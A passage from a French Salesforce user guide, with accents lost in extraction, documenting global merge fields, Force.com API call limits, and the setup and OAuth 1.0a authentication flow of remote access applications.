organisation et requiert un code pays pour chaque compte
tranger.
AND($Organization.Country <> BillingCountry,
ISNULL( Country_Code__c ) )

Exemple Visualforce :

Utilisez la notation point pour accder aux informations de

votre organisation. Par exemple, pour rcuprer le nom de la
rue et du dpartement o se trouve votre organisation, utilisez :
{!$Organization.Street}
{!$Organization.State}

Notez que vous ne pouvez pas utiliser

{!$Organization.UiSkin} dans Visualforce.
Conseils :

Les valeurs des champs de fusion de l'organisation proviennent

des valeurs actuellement stockes en tant qu'informations sur
la socit dans Salesforce.com.

$Page
Description :

Type de champ de fusion global utiliser pour faire rfrence

une page Visualforce.

Utilisation :

Utilisez cette expression dans une page Visualforce pour

accder une autre page Visualforce.

Exemple Visualforce :

Conseils :

<apex:page> <h1>Linked</h1> <a

href="{!$Page.otherPage}">Ceci est un lien
vers une autre page</a> </apex:page>

Cette variable globale n'est disponible que pour les

pages Visualforce.

$Profile
Description :

Type de champ de fusion global utiliser pour faire rfrence

aux informations concernant le profil de l'utilisateur actuel.
Utilisez les champs de fusion relatifs au profil pour faire

Dvelopper

Guide de l'utilisateur | Dfinition des commandes Custom S-Control | 983

rfrence aux informations concernant le profil de l'utilisateur,

comme le nom ou le type de licence.
Utilisation :

Exemple de rgle de validation :

1. Slectionnez le type de champ : $Profile.

2. Slectionnez un champ de fusion tel que $Profile.Name.
La formule de rgle de validation ci-dessous fait rfrence au
nom du profil de l'utilisateur actuel afin de garantir que seuls
le responsable de l'enregistrement ou les utilisateurs prsentant
ce profil peuvent apporter des modifications au champ
personnalis appel Objectif personnel :
AND( ISCHANGED( Personal_Goal__c ), Owner
<> $User.Id, $Profile.Name <> "Personnalis
: Administrateur systme" )

Exemple Visualforce :

Pour revenir au profil de l'utilisateur actuel, utilisez :

{$Profile.Name}

Conseils :

Les champs de fusion $Profile ne sont disponibles que

dans les ditions pouvant crer des profils personnaliss.
Utilisez les noms de profil pour faire rfrence aux profils
standard dans les champs de fusion $Profile. Si vous
avez dj fait rfrence la valeur interne d'un profil,
utilisez la liste suivante pour dterminer le nom utiliser
la place :
Nom du profil
standard

Valeur $Profile

Administrateur
systme

PT1

Utilisateur standard

PT2

Lecture seule

PT3

Responsable solutions PT4

Utilisateur marketing PT5
Responsable contrats PT6
Utilisateur partenaire PT7
Utilisateur de la
PT8
plate-forme standard
Licence
PT9
mono-utilisateur de la
plate-forme standard
Utilisateur du portail PT13
Client

Dvelopper

Guide de l'utilisateur | Dfinition des commandes Custom S-Control | 984

Nom du profil
standard

Valeur $Profile

Responsable du
portail Client

PT14

Si les attributs du profil sont vides, les valeurs de vos

champs de fusion seront vides. Par exemple, le profil
Description n'est pas requis et peut ne pas contenir de
valeur.
Vous n'avez pas besoin d'accorder aux utilisateurs des
autorisations ou des droits d'accs aux informations
relatives leur profil pour qu'ils puissent utiliser ces champs
de fusion.

$Request
Description :

Champ de fusion global utiliser pour faire rfrence un

paramtre de requte par nom qui renvoie une valeur.

Utilisation :

Ajoutez manuellement $Request votre commande

s-control.

Exemple de commande S-Control :

Le snippet (bout de code) ci-dessous, Title_Snippet,

requiert deux paramtres d'entre : titleTheme et
titleText. Vous pouvez le rutiliser dans de nombreuses
commandes s-control pour fournir un titre de page et un
modle votre code HTML.
<h2 class={!$Request.titleTheme}.title>
{!$Request.titleText}</h2>

La commande s-control ci-dessous fait appel ce bout de code

(snippet) via la fonction INCLUDE, en lui envoyant les
paramtres du titre et du modle de page HTML qu'il cre.
<html> <head> </head> <body> {!
INCLUDE($SControl.Title_Snippet, [titleTheme
= "moderne", titleText = "Mon exemple de
titre"]) }
... Insert your page specific content here
...
</body> </html>

Conseils :

N'utilisez pas $Request dans les pages Visualforce pour faire

rfrence aux paramtres de requte. Utilisez plutt
$CurrentPage la page 984.

Dvelopper

Guide de l'utilisateur | Dfinition des commandes Custom S-Control | 985

$Resource
Description :

Type de champ de fusion global utiliser pour faire rfrence

une ressource statique existante par son nom dans une
page Visualforce. Vous pouvez galement utiliser des champs
de fusion de ressources dans les fonctions URLFOR pour faire
rfrence un fichier particulier dans une archive de ressources
statiques.

Utilisation :

Utilisez $Resource pour faire rfrence une ressource

statique existante. Le format est
$Resource.nom_ressource par exemple,
$Resource.TestImage.

Exemples Visualforce :

Le composant Visualforce ci-dessous fait rfrence un fichier

image qui a t tlcharg en tant que ressource statique et
intitul TestImage :
<apex:image url="{!$Resource.TestImage}"
width="50" height="50" />

Pour rfrencer un fichier dans une archive (fichier ..zip ou

.jar, par exemple), utilisez la fonction URLFOR. Indiquez le
nom de ressource statique que vous avez fourni lors du
tlchargement de l'archive avec le premier paramtre, ainsi
que le chemin du fichier souhait dans l'archive avec le second
paramtre. Par exemple :
<apex:image url="{!URLFOR($Resource.TestZip,
'images/Bluehills.jpg')}" width="50"
height="50" />

Conseils :

Cette variable globale n'est disponible que pour les

pages Visualforce.

$SControl
Description :

Utilisation :

Type de champ de fusion global utiliser pour faire rfrence

une commande custom s-control existante par nom.Utilisez
des champs de fusion de commande s-control dans les
fonctions LINKTO, INCLUDE et URLFOR pour faire
rfrence l'une de vos commandes custom s-control.
1. Slectionnez le type de champ : $SControl.
2. Slectionnez une commande s-control pour insrer un
champ de fusion la reprsentant, tel que
$Scontrol.Header_Snippet.

Dvelopper

Guide de l'utilisateur | Dfinition des commandes Custom S-Control | 986

Exemple de commande S-Control :

La commande s-control ci-dessous fait rfrence au snippet

dans le champ de fusion $Scontrol.Header_Snippet :
<html> <body> {!
INCLUDE($SControl.Header_Snippet, [title =
"Mon Titre", theme = "moderne"])} </body>
</html>

Exemple Visualforce :

L'exemple suivant montre comment tablir un lien avec une

commande s-control nomme HelloWorld dans une page
Visualforce :
<apex:page> <apex:outputLink
value="{!$SControl.HelloWorld}">Ouvrir la
commande s-control
HelloWorld</apex:outputLink> </apex:page>

Notez que si vous voulez simplement incorporer une

commande s-control dans une page, vous pouvez utiliser la
balise <apex:scontrol> sans le champ de fusion $SControl.
Par exemple :
<apex:page> <apex:scontrol
controlName="HelloWorld" /> </apex:page>

Conseils :

La liste droulante Insrer un champ de fusion

rpertorie toutes vos commandes custom s-control,
l'exception des snippets. Bien que les snippets soient des
commandes s-control, ils se comportent diffremment.
Par exemple, vous ne pouvez pas faire rfrence un
snippet directement partir d'une fonction URLFOR.
Les snippets ne sont pas disponibles lors de la cration
d'un bouton ou d'un lien personnalis dont le paramtre
Content Source est dfini sur Custom S-Control. De
plus, vous ne pouvez pas ajouter de snippets vos
prsentations de page. Pour insrer un snippet dans votre
commande s-control, utilisez le bouton de liste droulante
Insrer un bout de code.
Cette variable globale n'est disponible que pour les boutons
et liens personnaliss, lescommandes s-control et les pages
Visualforce.

$Site
Description :

Type de champ de fusion global utiliser pour faire rfrence aux informations sur le site Force.com
actuel.

Dvelopper

Utilisation :

Guide de l'utilisateur | Dfinition des commandes Custom S-Control | 987

Utilisez la notation point pour accder aux informations sur le site Force.com actuel. Notez que seuls
les champs de site suivants sont disponibles :
Champ de fusion

Description

{!$Site.Name}

Renvoie le nom de l'API du site actuel.

{!$Site.Domain}

Renvoie le nom du domaine Force.com de votre organisation.

{!$Site.CustomWebAddress}

Renvoie la valeur du champ Adresse Web personnalise

du site actuel.

{!$Site.OriginalUrl}

Renvoie l'URL d'origine de cette page s'il s'agit d'une page

d'erreur dsigne pour le site ; sinon, renvoie une chane nulle

{!$Site.CurrentSiteUrl}

Renvoie l'URL du site pour la requte en cours (par exemple,

http://myco.com/ ou
https://myco.force.com/prefix/).

{!$Site.LoginEnabled}

Renvoie la valeur true si le site actuel est associ un portail

activ par connexion actif ; sinon renvoie false.

{!$Site.RegistrationEnabled}

Renvoie la valeur true si le site actuel est associ un portail

client actif, activ par auto-inscription ; sinon renvoie false.

{!$Site.IsPasswordExpired}

Pour les utilisateurs authentifis, renvoie true si le mot de

passe de l'utilisateur actuellement connect a expir. Renvoie
faux pour les utilisateurs non authentifis.

{!$Site.AdminEmailAddress}

Renvoie la valeur du champ Contact du site du site actuel.

{!$Site.Prefix}

Renvoie le prfixe du chemin de l'URL du site actuel. Par

exemple, si l'URL de votre site est
masociete.force.com/partenaires, partenaires
est le prfixe du chemin. Renvoie null si le prfixe n'est pas
dfini ou si la page a t accde l'aide d'une adresse Web
personnalise.

{!$Site.Template}

Renvoie le nom du modle associ au site actuel ; renvoie le

modle par dfaut si aucun modle n'a t dsign.

{!$Site.ErrorMessage}

En cas d'erreur, renvoie un message d'erreur pour la page

actuelle s'il s'agit d'une page d'erreur dsigne pour le site.
Sinon, renvoie une chane vide.

{!$Site.ErrorDescription}

En cas d'erreur, renvoie la description de l'erreur de la page

actuelle s'il s'agit d'une page d'erreur dsigne pour le site.
Sinon, renvoie une chane vide.

{!$Site.AnalyticsTrackingCode}

Code de suivi associ votre site. Ce code peut tre utilis par
des services tels que Google Analytics pour suivre les donnes
de demande de pages pour votre site.

Exemple Visualforce : L'exemple suivant prsente l'utilisation du champ de fusion $Site.Template :

<apex:page title="Confirmation de candidature un poste"
showHeader="false" standardStylesheets="true"> <!-- Le modle de site

Dvelopper

Guide de l'utilisateur | Dfinition des commandes Custom S-Control | 988

fournit la prsentation et le style du site --> <apex:composition

template="{!$Site.Template}"> <apex:define name="body"> <apex:form>
<apex:commandLink value="<- Retour la recherche de poste"
onclick="window.top.location='{!$Page.PublicJobs}';return false;"/> <br/>
<br/> <center><apex:outputText value="Votre candidature a t
enregistre. Nous vous remercions d'avoir postul !"/></center> <br/>
<br/> </apex:form> </apex:define> </apex:composition> </apex:page>

Conseils :

Cette variable globale est disponible dans les pages Visualforce, les modles d'e-mail et les commandes
s-controls.

$System.OriginDateTime
Description :

Utilisation :

Exemple de formule :

Champ de fusion global reprsentant la valeur littrale de

1900-01-01 00:00:00. Utilisez cette variable globale lorsque
vous effectuez les calculs de dcalage date/heure ou pour
attribuer une valeur littrale un champ date/heure.
1. Slectionnez le type de champ : $System.
2. Slectionnez OriginDateTime dans l'option Insrer
un champ de fusion.
L'exemple ci-dessous prsente la faon de convertir un champ
de date en champ date/heure. Il utilise la date du champ de
fusion OriginDateTime pour obtenir le nombre de jours
couls depuis la date indique dans un champ personnalis
appel Mon champ de date. Ensuite, il ajoute le nombre
de jours la valeur OriginDateTime.
$System.OriginDatetime + ( My_Date_Field__c
- DATEVALUE($System.OriginDatetime) )

Remarque: OriginDateTime est bas sur le fuseau

horaire GMT, mais le rsultat affich est bas sur le
fuseau horaire local de l'utilisateur.
Exemple Visualforce :

L'exemple suivant calcule le nombre de jours couls depuis

1900 :
{!NOW() - $System.OriginDateTime}

Conseils :

Cette variable globale est disponible dans les pages Visualforce,

les valeurs par dfaut, les mises jour de champ, les champs
de formule, les commandes s-control, et les rgles de
validation.

$User
Description :

Type de champ de fusion global utiliser pour faire rfrence

aux informations concernant l'utilisateur actuel. Les champs

Dvelopper

Guide de l'utilisateur | Dfinition des commandes Custom S-Control | 989

de fusion relatifs l'utilisateur peuvent faire rfrence des

informations concernant l'utilisateur, telles que son alias, son
titre et son ID.
Utilisation :

Exemple de rgle de validation :

1. Slectionnez le type de champ : $User.

2. Slectionnez un champ de fusion tel que
$User.Username.
La formule de rgle de validation ci-dessous fait rfrence
l'ID de l'utilisateur actuel pour dterminer si cet utilisateur est
responsable de l'enregistrement. Utilisez un exemple comme
celui-ci pour vous assurer que seuls le responsable de
l'enregistrement ou les utilisateurs ayant un profil
d'administrateur peuvent apporter des modifications un
champ personnalis appel Objectif personnel :
AND( ISCHANGED( Personal_Goal__c ), Owner
<> $User.Id, $Profile.Name <> "Personnalis
: Administrateur systme" )

Exemple Visualforce :

L'exemple suivant affiche le nom de l'entreprise de l'utilisateur

actuel, ainsi que le statut de l'utilisateur actuel (qui renvoie
une valeur boolenne).
<apex:page> <h1>Flicitations</h1> Voici
votre nouvelle page Apex <p>Le nom actuel
de l'entreprise pour cet utilisateur est :
{!$User.CompanyName}</p> <p>L'utilisateur
est-il actif ? {!$User.isActive}</p>
</apex:page>

Conseils :

L'utilisateur actuel est la personne qui modifie

l'enregistrement l'origine de la valeur par dfaut, la rgle
de validation ou toute autre opration faisant appel ces
champs de fusion globaux.
Lorsqu'un processus Web vers requte ou Web vers piste
a modifi un enregistrement, l'utilisateur actuel est le
responsable de la piste par dfaut ou le
responsable de la requte par dfaut.
Lorsqu'une mise jour du champ de workflow modifie un
enregistrement, l'utilisateur est l'utilisateur du
workflow par dfaut.
Certains des champs de fusion $User peuvent tre utiliss
dans des filtres de configuration mobile. Pour plus
d'informations, reportez-vous Champs de fusion pour
critres de filtre mobile la page 1999.

$UserRole
Description :

Type de champ de fusion global utiliser pour faire rfrence

aux informations concernant le rle de l'utilisateur actuel. Les

Dvelopper

Guide de l'utilisateur | Dfinition des commandes Custom S-Control | 990

champs de fusion relatifs au rle peuvent faire rfrence des

informations telles que le nom, la description et l'ID du rle.
Utilisation :

Exemple de rgle de validation :

1. Slectionnez le type de champ : $UserRole.

2. Slectionnez un champ de fusion tel que
$UserRole.Name.
La formule de rgle de validation ci-dessous fait rfrence au
nom du rle de l'utilisateur pour confirmer qu'un champ
personnalis appel Pourcentage de l'escompte ne
dpasse pas la valeur maximale autorise pour ce rle :
Discount_Percent__c >
VLOOKUP($ObjectType.Role_Limits__c.Fields.Limit__c,
$ObjectType.Role_Limits__c.Fields.Name,
$UserRole.Name)

Exemple Visualforce :
Conseils :

{!$UserRole.LastModifiedById}

L'utilisateur actuel est la personne qui modifie

l'enregistrement l'origine de la valeur par dfaut, la rgle
de validation ou toute autre opration faisant appel ces
champs de fusion globaux.
Lorsqu'un processus Web vers requte ou Web vers piste
a modifi un enregistrement, l'utilisateur actuel est le
responsable de la piste par dfaut ou le
responsable de la requte par dfaut.
Lorsqu'une mise jour du champ de workflow modifie un
enregistrement, l'utilisateur est l'utilisateur du
workflow par dfaut.
Remarque: Vous ne pouvez pas utiliser des valeurs
$UserRole suivantes dans Visualforce :

Voir aussi :
Dfinition des commandes Custom S-Control
Ressources de documentation pour les dveloppeurs Force.com

CaseAccessForAccountOwner
ContactAccessForAccountOwner
OpportunityAccessForAccountOwner
PortalType

Dvelopper

Guide de l'utilisateur | Limites concernant l'utilisation de l'API Force.com | 991

Limites concernant l'utilisation de l'API Force.com

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Pour garantir des performances optimales et s'assurer que API Force.com est accessible l'ensemble de nos clients, salesforce.com
quilibre les charges des transactions en limitant le nombre de demandes API (ou appels) qu'une entreprise cliente peut excuter
simultanment ou pendant 24 heures. Ces limites dpendent du type d'dition Salesforce.com, conformment au tableau
ci-dessous :
Edition Salesforce.com

Limite

Developer Edition

Entreprises en priode d'essai

5 000 appels par entreprise par priode de 24 heures ou

5 appels simultans tout moment

Enterprise Edition

Professional Edition (avec accs

API activ)

1 000 appels par licence par priode de 24 heures ou 1 000 000 d'appels par
organisation par priode de 24 heures selon la valeur la plus basse. Le minimum est
5 000 appels par priode de 24 heures, quel que soit le nombre de licences. Ou :
50 appels simultans tout moment

Unlimited Edition

Sandbox

5 000 appels par licence par priode de 24 heures ou 5 000 000 d'appels par
organisation par priode de 24 heures selon la valeur la plus basse. Ou :
50 appels simultans tout moment

5,000,000 appels par entreprise par priode de 24 heures ou

50 appels simultans tout moment

Ds qu'une entreprise dpasse ces limites, elle risque de ne plus pouvoir passer d'appels supplmentaires jusqu' ce que le
nombre d'appels au cours des 24 heures suivantes soit infrieur la limite prvue.
L'application Salesforce.com permet aux administrateurs de savoir combien de demandes API ont t mises au cours des
dernires 24 heures, via la page des informations de l'entreprise (Configuration Profil de la socit Informations sur
la socit).
Remarque: Des limites sont appliques automatiquement pour toutes les ditions.

Les actions qui envoient un appel l'API sont prises en compte dans le calcul des limites, sauf :

Messages sortants
Appels Apex

Dvelopper

Guide de l'utilisateur | Ressources de documentation pour les dveloppeurs Force.com | 992

Vous pouvez configurer votre entreprise de faon ce qu'un e-mail soit envoy un utilisateur dsign ds que le nombre de
demandes d'API dpasse un certain pourcentage de la limite. Pour plus d'informations, reportez-vous propos des notifications
d'utilisation de l'API la page 325.

Voir aussi :
Surveillance des ressources
ditions Salesforce.com et limitations
Ressources de documentation pour les dveloppeurs Force.com

Ressources de documentation pour les dveloppeurs

Force.com
La Bibliothque technique Developer Force est votre ressource d'information relative au dveloppement de la plate-forme
Force.com. Vous pouvez apprendre les techniques de programmation de base et avances de Force.com, effectuer vos premiers
pas avec Visualforce ou Apex, apprendre comment crire des requtes SOQL et SOSL, explorer les services Web et les API
mtadonnes, et davantage.
Didacticiels de haut niveau, guides de rfrence dtaills, exemples de code, la bilbliothque contient toutes les informations
dont vous avez besoin, et permet d'apprendre comment crer un package pour vos sous-applications et comment les mettre
en uvre.
Remarque: Ces ressources de documentation dveloppeur sont, pour la plupart, disponibles en anglais uniquement.

Voir aussi :
Utilisation de la fentre Aide & formation

Prsentation de l'application d'accs distance

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour grer, crer, modifier et supprimer des applications
OAuth :

Grer l'accs distance

Salesforce.com prend en charge le protocole OAuth pour l'authentification des applications Web qui accdent des donnes
dans une instance Salesforce.com. OAuth est un protocole ouvert offrant une authentification scurise et souvent dcrit
comme la cl de service de l'accs au logiciel. Une cl de service permet d'accder uniquement certaines pices d'un htel.
Elle ne permet pas d'entrer dans les bureaux de la direction ou dans les chambres. De la mme faon, OAuth limite l'accs
une application, sans avoir saisir le nom et le mot de passe de l'utilisateur.

Dvelopper

Guide de l'utilisateur | Prsentation de l'application d'accs distance | 993

Remarque: Salesforce.com prend actuellement en charge OAuth version 1.0.A.

Pour plus d'informations sur la norme OAuth, reportez-vous la documentation OAuth.net.

Une application d'accs distance est extrieure Salesforce.com, et utilise le protocole OAuth pour vrifier l'utilisateur
Salesforce.com et l'application externe.
Conseil: OAuth ne limite pas automatiquement l'accs aux donnes Salesforce.com d'un utilisateur. Les restrictions
d'accs aux donnes sont spcifies par le profil de l'utilisateur ou par les contrles d'accs au package d'une application
d'accs distance incluse dans un package gr.
Pour plus d'informations sur la terminologie, reportez-vous Applications d'accs distance et terminologie OAuth la page
994.
Les grandes lignes de l'utilisation d'une application d'accs distance avec Salesforce.com sont prsentes ci-dessous :
1. Un dveloppeur utilise les pages d'accs distance de Salesforce.com (Configuration Dvelopper Accs distance)
pour dfinir une application d'accs distance.
L'application d'accs distance de cet exemple est un gadget Google qui utilise des donnes existantes dans Salesforce.com.
2. Le dveloppeur utilise la cl et le secret consommateur gnrs dans la page de dtails de l'application d'accs distance et
dveloppe le gadget Google l'aide de la cl et du secret consommateur, et de la bibliothque OAuth.
3. Un utilisateur commence utiliser l'application gadget Google.
4. L'utilisateur excute une action avec le gadget Google qui ncessite l'accs aux donnes Salesforce.com.
5. L'utilisateur est invit se connecter Salesforce.com.
6. La page Autorisation d'accs distance s'affiche. Elle vrifie si l'utilisateur souhaite accorder l'application d'accs
distance, c.--d. le gadget Google, l'accs ses donnes Salesforce.com.
7. Si l'utilisateur accorde l'accs, la page d'approbation s'affiche. Cette page contient un code de vrification que l'utilisateur
doit saisir dans l'application gadget Google.
8. Si l'utilisateur refuse l'accs, il est invit se dconnecter de Salesforce.com.
9. Aprs avoir accord l'accs l'application d'accs distance, l'utilisateur peut rvoquer cet accs en cliquant sur Configuration
Mes informations personnelles Informations personnelles, puis sur Refuser en regard du nom de l'application
dans la liste associe Accs distance.

Voir aussi :
Applications d'accs distance et terminologie OAuth
Dfinition d'applications d'accs distance
Authentification de l'application d'accs distance OAuth
Cration de packages d'applications d'accs distance
Gestion des applications d'accs distance
Installation d'un package

Dvelopper

Guide de l'utilisateur | Prsentation de l'application d'accs distance | 994

Applications d'accs distance et terminologie OAuth

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour grer, crer, modifier et supprimer des applications
OAuth :

Grer l'accs distance

AccessToken ( Jeton d'accs)

Valeur utilise par le consommateur pour accder de la part de l'utilisateur des ressources protges, au lieu d'utiliser
les identifiants Salesforce.com de l'utilisateur.
Consommateur
Site Web ou application qui utilise OAuth pour authentifier l'utilisateur Salesforce.com ainsi que l'application de la part
de l'utilisateur.
Cl consommateur
Valeur utilise par le consommateur pour s'identifier dans Salesforce.com.
Secret consommateur
Secret utilis par le consommateur pour tablir la proprit de la cl consommateur.
Nonce
Chiffre, souvent alatoire, utilis durant l'authentification pour empcher la rutilisation des requtes.
Paramtres du protocole OAuth
Paramtres dont le nom commence par oauth_, par exemple oauth_consumer_key et oauth_nonce.
RequestToken ( Jeton de demande)
Valeur utilise par le consommateur pour obtenir l'autorisation de l'utlisateur et un change avec un AccessToken.
Fournisseur de services
Application Web qui autorise l'accs l'aide de OAuth. Correspond votre instance Salesforce.com une fois l'accs
distance activ.
TokenSecret (Secret de jeton)
Secret utilis par le consommateur pour tablir la proprit d'un jeton donn, pour les RequestToken et AccessToken.
Utilisateur
Individu qui possde un identitiant d'accs Salesforce.com.

Voir aussi :
Prsentation de l'application d'accs distance

Dvelopper

Guide de l'utilisateur | Dfinition d'applications d'accs distance | 995

Dfinition d'applications d'accs distance

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour grer, crer, modifier et supprimer des applications
OAuth :

Grer l'accs distance

Les pages d'accs distance permettent de dfinir les applications d'accs distance qui peuvent accder une instance
Salesforce.com.
Pour dfinir une application d'accs distance :
1. Cliquez sur Configuration Dvelopper Accs distance, puis sur Nouveau. Vous pouvez galement cliquer sur
Configuration Crer Packages, sur le nom du package gr, puis sur Nouveau dans la section Accs distance.
Important: Si vous crez une application d'accs distance depuis un package, elle est automatiquement incluse
dans ce package. Une fois l'application d'accs distance ajoute un package, vous ne pouvez plus la retirer. Pour
retirer une application d'accs distance d'un package, le seul moyen consiste supprimer le package de votre
organisation.
2. Spcifiez le nom de l'application. Ce nom est obligatoire. Salesforce.com recommande d'utiliser un nom identique celui
de l'application actuelle.
3. Spcifiez l'URL de rappel, qui correspond l'URL laquelle l'utilisateur doit tre renvoy une fois l'accs l'application
approuv. Si l'URL de rappel est dfinie, le paramtre oauth_callback doit tre dfini sur oob lors de la tentative
d'obtention du jeton requis. Cette URL doit tre scurise (utiliser https).
4. Si l'application possde un logo, vous pouvez le spcifier dans URL de l'image du logo. L'URL doit tre scurise (utiliser
https).
5. Si ncessaire, spcifiez le Tlphone du contact et l'E-mail du contact.
6. Saisissez une description de l'application. Cette description s'affiche lorsqu'un utilisateur accorde l'accs une application.
7. Si vous avez utilis Configuration Dvelopper Accs distance pour crer cette application d'accs distance, vous
pouvez slectionner un package gr dans lequel inclure l'application.
Important: Si vous crez une application d'accs distance, sans l'inclure dans un package gr, vous ne pouvez
pas l'inclure ultrieurement.
8. Cliquez sur Enregistrer.
Lors de l'enregistrement de l'application d'accs distance, la cl et le secret consommateur sont automatiquement gnrs.
La cl et le secret consommateur sont disponibles dans toutes les instances de Salesforce.com. La consommateur doit les stocker
dans son application. Les cls sont utilises pour authentifier un utilisateur l'aide de l'application d'accs distance.

Dvelopper

Guide de l'utilisateur | Dfinition d'applications d'accs distance | 996

Remarque: Mme si vous changez le nom de l'application, la cl et le secret consommateur ne sont pas gnrs une
nouvelle fois.

Voir aussi :
Prsentation de l'application d'accs distance
Affichage des dtails de l'application d'accs distance
Applications d'accs distance et terminologie OAuth

Cration de packages d'applications d'accs distance

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour grer, crer, modifier et supprimer des applications
OAuth :

Grer l'accs distance

Lors de la dfinition d'une application d'accs distance, tenez compte des points suivants pour dcider de la cration de
packages d'applications d'accs distance :

Vous pouvez intgrer des applications d'accs distance uniquement des packages grs.
Si vous crez une application d'accs distance depuis un package, elle est automatiquement incluse dans ce package. Une
fois l'application d'accs distance ajoute un package, vous ne pouvez plus la retirer. Pour retirer une application d'accs
distance d'un package, le seul moyen consiste supprimer le package de votre organisation.
Lorsque vous supprimez une application d'accs distance intgre un package gr, l'accs cette application est
immdiatement retir de toutes les organisations abonnes. Les organisations abonnes ne sont contraintes attendre la
publication d'une nouvelle version du package gr.
Mme si vous changez le nom de l'application, la cl et le secret consommateur ne sont pas gnrs une nouvelle fois.
Lorsqu'une application d'accs distance est intgre un package gr, seules les organisations abonnes peuvent utiliser
la cl consommateur gnre. Si une application d'accs distance n'est pas intgre un package gr, toute organisation
ou tout utilisateur peut utiliser la cl.
Si vous crez une nouvelle version d'un package gr qui contient une application d'accs distance, les applications d'accs
distance existantes continuent de fonctionner avec la nouvelle version. En outre, tant que vous ne supprimez pas une
application d'accs distance, le numro de version du package est toujours la premire version du package dans lequel
l'application d'accs distance est incluse.

Voir aussi :
Prsentation de l'application d'accs distance
Dfinition d'applications d'accs distance

Dvelopper

Guide de l'utilisateur | Affichage des dtails de l'application d'accs distance | 997

Suppression d'applications d'accs distance

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour grer, crer, modifier et supprimer des applications
OAuth :

Grer l'accs distance

Lorsque vous supprimez une application d'accs distance intgre un package gr, l'accs cette application est
immdiatement retir de toutes les organisations abonnes. Les organisations abonnes ne sont contraintes attendre la
publication d'une nouvelle version du package gr. Ne supprimez pas les applications d'accs distance sauf si vous tes sr
de ce choix.
Cliquez sur Supprimer pour retirer l'application d'accs distance. Cliquez sur Annuler pour revenir la page prcdente.

Voir aussi :
Prsentation de l'application d'accs distance
Dfinition d'applications d'accs distance
Cration de packages d'applications d'accs distance

Affichage des dtails de l'application d'accs distance

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour grer, crer, modifier et supprimer des applications
OAuth :

Grer l'accs distance

Les pages d'accs distance permettent de spcifier les applications d'accs distance qui peuvent accder une instance
Salesforce.com.
Pour afficher les dtails d'une application dfinie, cliquez sur Configuration Dvelopper Accs distance, puis cliquez
sur le nom de l'application.
Cette page permet d'effectuer les oprations suivantes :

Modifier : changer le nom, les informations de contact, etc.

Dvelopper

Guide de l'utilisateur | Authentification de l'application d'accs distance OAuth | 998

Remarque: Mme si vous changez le nom de l'application, la cl et le secret consommateur ne sont pas gnrs
une nouvelle fois.
Si vous crez une application d'accs distance depuis un package, elle est automatiquement incluse dans ce package.
Une fois l'application d'accs distance ajoute un package, vous ne pouvez plus la retirer. Pour retirer une
application d'accs distance d'un package, le seul moyen consiste supprimer le package de votre organisation.

Suppr : supprimer l'application d'accs distance.

Voir aussi :
Prsentation de l'application d'accs distance
Dfinition d'applications d'accs distance

Authentification de l'application d'accs distance OAuth

Lorsqu'un utilisateur demande ses donnes Salesforce.com depuis l'application externe (la page du consommateur), il doit tre
authentifi par Salesforce.com. Le flux d'authentification comporte plusieurs tapes, dfinies par la norme OAuth.
Les tapes individuelles sont prsentes ci-dessous.
1.
2.
3.
4.
5.
6.
7.

Le consommateur demande un RequestToken. Salesforce.com vrifie la requte et envoie un jeton de demande.

Le consommateur doit rediriger l'utilisateur vers Salesforce.com, o ils sont invits se connecter.
Salesforce.com autorise l'utilisateur.
Une fois l'utilisateur autoris, le consommateur demande un AccessToken.
Salesforce.com vrifie la requte et accorde le jeton.
Une fois le jeton octroy, le consommateur accde aux donnes via son application ou via l'API des services Web Force.com.
Salesforce.com vrifie la requte et autorise l'accs aux donnes.

Les sections suivantes prsentent chaque tape en dtail.

Conseil: Pour utiliser une application d'accs distance avec ///Force.com Sandbox, utilisez test.salesforce.com
au lieu de login.salesforce.com dans les sections suivantes.
Pour obtenir la liste des codes d'erreur que Salesforce.com peut renvoyer, reportez-vous aux Codes d'erreur de
l'application d'accs distance OAuth la page 1002.
Demande d'un RequestToken
Lorsqu'un consommateur fait une premire demande Salesforce.com, un RequestToken est renvoy si la requte est valide.
Les tapes ci-dessous prsentent plus de dtails pour le dveloppeur qui demande des donnes Salesforce.com l'aide d'une
application d'accs distance.
1. L'application d'un consommateur doit accder aux donnes Salesforce.com et envoie une requte
https://login.salesforce.com/_nc_external/system/security/oauth/RequestTokenHandler. La

requte contient les lments suivants :

Une requte valide pour un RequestToken qui contient les paramtres OAuth suivants :
-

oauth_consumer_key
oauth_signature_method - doit tre HMAC-SHA1.

Dvelopper

Guide de l'utilisateur | Authentification de l'application d'accs distance OAuth | 999

oauth_signature
oauth_timestamp
oauth_nonce
oauth_version - facultatif ; doit tre 1.0 si inclus
oauth_callback - doit tre :

une URL hberge par le consommateur, par exemple

https://www.appirio.com/sfdc_accounts/access_token_ready.html. Notez que cette URL doit

utiliser https.
oob, qui signifie out of band (hors plage).

Une signature cre selon l'authentification OAuth pour HMAC-SHA1

2. Une fois la requte reue, Salesforce.com excute les actions suivantes :

Salesforce.com valide la requte avec sa propre copie du secret du consommateur

Salesforce.com gnre une rponse qui contient les jetons RequestToken et RequestTokenSecret dans le corps HTTP
sous forme de paires nom/valeur
Salesforce.com renvoie la rponse au consommateur

Un jeton RequestToken est valide pendant 15 minutes seulement, plus trois minutes de marge pour compenser les diffrences
ventuelles entre les horloges des ordinateurs.
3. Le consommateur dirige l'utilisateur vers la page de connexion de Salesforce.com, comme indiqu dans la section suivantes.
Autorisation de l'utilisateur
Une fois la requte du consommateur envoye Salesforce.com, l'utilisateur doit tre authentifi par Salesforce.com avant de
pouvoir continuer le processus. Les tapes ci-dessous prsentent plus de dtails sur la procdure de connexion, destins aux
dveloppeurs qui demandent des donnes Salesforce.com l'aide d'une application d'accs distance.
1. Le consommateur redirige l'utilisateur vers l'emplacement suivant, o il est invit se connecter :
https://login.salesforce.com/setup/secur/RemoteAccessAuthorizationPage.apexp. Les paramtres

approrpis de la requte GET sont joints cette URL :

oauth_token - le jeton RequestToken

oauth_consumer_key

Remarque: Si un paramtre oauth_callback est inclus, il est ignor.

2. La page Autorisation d'accs distance s'affiche.

3. Si l'utilisateur accepte l'accs pour le consommateur, Salesforce.com gnre les jetons AccessToken et AccessTokenSecret.
